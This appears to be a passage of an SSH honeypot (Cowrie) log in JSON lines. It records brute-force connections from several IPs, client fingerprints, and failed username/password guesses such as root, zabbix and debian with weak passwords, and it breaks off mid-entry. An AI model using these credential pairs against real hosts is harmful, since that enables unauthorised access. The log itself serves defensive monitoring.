{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:19.500716Z","src_ip":"49.0.84.125","session":"56966d4b7636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022#","message":"login attempt [root/unitedstates2022#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:20.310679Z","src_ip":"49.0.84.125","session":"56966d4b7636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":59874,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbe97367823","protocol":"ssh","message":"New connection: 113.125.165.132:59874 (10.17.0.5:22) [session: ecbe97367823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:20.719254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:20.723268Z","src_ip":"113.125.165.132","session":"ecbe97367823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:20.968611Z","src_ip":"113.125.165.132","session":"ecbe97367823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:21.582860Z","src_ip":"49.0.84.125","session":"56966d4b7636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31137,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8fa50bcb3a2","protocol":"ssh","message":"New connection: 5.196.136.131:31137 (10.17.0.5:22) [session: f8fa50bcb3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:21.911143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:21.916867Z","src_ip":"5.196.136.131","session":"f8fa50bcb3a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l0vel0ve","message":"login attempt [root/l0vel0ve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:21.977078Z","src_ip":"113.125.165.132","session":"ecbe97367823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:21.994967Z","src_ip":"5.196.136.131","session":"f8fa50bcb3a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:22.232397Z","src_ip":"5.196.136.131","session":"f8fa50bcb3a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:23.224326Z","src_ip":"113.125.165.132","session":"ecbe97367823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:23.313015Z","src_ip":"5.196.136.131","session":"f8fa50bcb3a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":48642,"dst_ip":"10.17.0.5","dst_port":22,"session":"9604bc5cc3f1","protocol":"ssh","message":"New connection: 5.196.136.131:48642 (10.17.0.5:22) [session: 9604bc5cc3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:26.393774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:26.421005Z","src_ip":"5.196.136.131","session":"9604bc5cc3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:26.470773Z","src_ip":"5.196.136.131","session":"9604bc5cc3f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:26.769995Z","src_ip":"5.196.136.131","session":"9604bc5cc3f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:27.848638Z","src_ip":"5.196.136.131","session":"9604bc5cc3f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57263,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48c09d70b28","protocol":"ssh","message":"New connection: 5.196.136.131:57263 (10.17.0.5:22) [session: f48c09d70b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:30.976500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:30.980099Z","src_ip":"5.196.136.131","session":"f48c09d70b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:31.055527Z","src_ip":"5.196.136.131","session":"f48c09d70b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:31.282633Z","src_ip":"5.196.136.131","session":"f48c09d70b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:32.359704Z","src_ip":"5.196.136.131","session":"f48c09d70b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50281,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba211272e891","protocol":"ssh","message":"New connection: 5.196.136.131:50281 (10.17.0.5:22) [session: ba211272e891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:35.379556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:35.381963Z","src_ip":"5.196.136.131","session":"ba211272e891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:35.459892Z","src_ip":"5.196.136.131","session":"ba211272e891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:35.695634Z","src_ip":"5.196.136.131","session":"ba211272e891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:36.776107Z","src_ip":"5.196.136.131","session":"ba211272e891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54585,"dst_ip":"10.17.0.5","dst_port":22,"session":"02c50325a3bf","protocol":"ssh","message":"New connection: 5.196.136.131:54585 (10.17.0.5:22) [session: 02c50325a3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:39.897290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:39.900802Z","src_ip":"5.196.136.131","session":"02c50325a3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:39.977525Z","src_ip":"5.196.136.131","session":"02c50325a3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:40.207698Z","src_ip":"5.196.136.131","session":"02c50325a3bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:41.287179Z","src_ip":"5.196.136.131","session":"02c50325a3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17738,"dst_ip":"10.17.0.5","dst_port":22,"session":"523b8cf4a0fa","protocol":"ssh","message":"New connection: 5.196.136.131:17738 (10.17.0.5:22) [session: 523b8cf4a0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:44.309662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:44.313687Z","src_ip":"5.196.136.131","session":"523b8cf4a0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:44.397245Z","src_ip":"5.196.136.131","session":"523b8cf4a0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:44.651535Z","src_ip":"5.196.136.131","session":"523b8cf4a0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:45.736938Z","src_ip":"5.196.136.131","session":"523b8cf4a0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":55785,"dst_ip":"10.17.0.5","dst_port":22,"session":"860b5a3f527b","protocol":"ssh","message":"New connection: 5.196.136.131:55785 (10.17.0.5:22) [session: 860b5a3f527b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:48.704912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:48.708354Z","src_ip":"5.196.136.131","session":"860b5a3f527b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 